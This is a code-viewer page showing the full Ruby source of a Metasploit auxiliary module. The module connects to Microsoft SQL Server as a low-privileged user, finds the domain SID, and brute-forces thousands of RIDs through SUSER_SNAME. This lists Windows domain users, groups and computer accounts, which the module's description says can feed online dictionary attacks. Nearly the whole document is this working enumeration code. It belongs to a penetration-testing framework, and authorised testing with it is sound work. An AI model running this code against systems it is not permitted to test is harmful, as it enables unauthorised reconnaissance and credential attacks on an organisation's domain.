Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',12'Description' => %q{13This module can be used to bruteforce RIDs associated with the domain of the SQL Server14using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed15through SQL Server queries as any user with the PUBLIC role (everyone). Information that16can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated17accounts can then be used in online dictionary attacks.18},19'Author' =>20[21'nullbind <scott.sutherland[at]netspi.com>',22'antti <antti.rantasaari[at]netspi.com>'23],24'License' => MSF_LICENSE,25'References' => [[ 'URL','https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']]26))2728register_options(29[30OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),31])32end3334def run35# Check connection and issue initial query36print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")37if mssql_login_datastore38print_good('Connected.')39else40print_error('Login was unsuccessful. Check your credentials.')41disconnect42return43end4445# Get the server name46sql_server_name = get_sql_server_name47print_status("SQL Server Name: #{sql_server_name}")4849# Get the domain name50sql_server_domain = get_windows_domain51if sql_server_domain.nil?52print_error("Could not recover the SQL Server's domain.")53disconnect54return55else56print_status("Domain Name: #{sql_server_domain}")57end5859# Check if the domain and hostname are the same60if sql_server_name == sql_server_domain61print_error("The SQL Server does not appear to be part of a Windows domain.")62disconnect63return64end6566# Get the base sid for the domain67windows_domain_sid = get_windows_domain_sid(sql_server_domain)68if windows_domain_sid.nil?69print_error("Could not recover the SQL Server's domain sid.")70disconnect71return72else73print_good("Found the domain sid: #{windows_domain_sid}")74end7576# Get a list of windows users, groups, and computer accounts using SUSER_NAME()77print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")78win_domain_user_list = get_win_domain_users(windows_domain_sid)7980disconnect8182if win_domain_user_list.nil? || win_domain_user_list.empty?83print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')84return85end8687# Print number of objects found and write to a file88print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")8990win_domain_user_list.sort.each do |windows_login|91vprint_status(" - #{windows_login}")92end9394# Create table for report95windows_domain_login_table = Rex::Text::Table.new(96'Header' => 'Windows Domain Accounts',97'Ident' => 1,98'Columns' => ['name']99)100101# Add brute forced names to table102win_domain_user_list.each do |object_name|103windows_domain_login_table << [object_name]104end105106# Create output file107this_service = report_service(108:host => mssql_client.peerhost,109:port => mssql_client.peerport,110:name => 'mssql',111:proto => 'tcp'112)113file_name = "#{mssql_client.peerhost}-#{mssql_client.peerport}_windows_domain_accounts.csv"114path = store_loot(115'mssql.domain.accounts',116'text/plain',117mssql_client.peerhost,118windows_domain_login_table.to_csv,119file_name,120'Domain Users enumerated through SQL Server',121this_service)122print_status("Query results have been saved to: #{path}")123end124125# Get list of windows accounts,groups,and computer accounts126def get_win_domain_users(windows_domain_sid)127128# Create array to store the windws accounts etc129windows_logins = []130131# Fuzz the principal_id parameter passed to the SUSER_NAME function132(500..datastore['FuzzNum']).each do |principal_id|133134# Convert number to hex and fix order135principal_id_hex = "%02X" % principal_id136principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))137principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join138139# Add padding140principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')141142# Create full sid143win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"144145# Return if sid does not resolve correctly for a domain146if win_sid.length < 48147return nil148end149150# Setup query151sql = "SELECT SUSER_SNAME(#{win_sid}) as name"152153# Execute query154result = mssql_query(sql)155156# Parse results157parse_results = result[:rows]158windows_login = parse_results[0][0]159160# Print account,group,or computer account etc161if windows_login.length != 0162print_status(" - #{windows_login}")163164vprint_status("Test sid: #{win_sid}")165end166167# Add to windows domain object list168windows_logins.push(windows_login) unless windows_logins.include?(windows_login)169end170171# Return list of logins172windows_logins173end174175# Get windows domain176def get_windows_domain177178# Setup query to check the domain179sql = "SELECT DEFAULT_DOMAIN() as mydomain"180181# Run query182result = mssql_query(sql)183184# Parse query results185parse_results = result[:rows]186sql_server_domain = parse_results[0][0]187188# Return domain189sql_server_domain190end191192# Get the sql server's hostname193def get_sql_server_name194195# Setup query to check the server name196sql = "SELECT @@servername"197198# Run query199result = mssql_query(sql)200201# Parse query results202parse_results = result[:rows]203sql_instance_name = parse_results[0][0]204sql_server_name = sql_instance_name.split('\\')[0]205206# Return servername207sql_server_name208end209210# Get windows domain211def get_windows_domain_sid(sql_server_domain)212213# Set group214domain_group = "#{sql_server_domain}\\Domain Admins"215216# Setup query to check the Domain SID217sql = "select SUSER_SID('#{domain_group}') as dasid"218219# Run query220result = mssql_query(sql)221222# Parse query results223parse_results = result[:rows]224object_sid = parse_results[0][0]225domain_sid = object_sid[0..47]226227# Return if sid does not resolve for a domain228if domain_sid.length == 0229return nil230end231232# Return domain sid233domain_sid234end235end236237238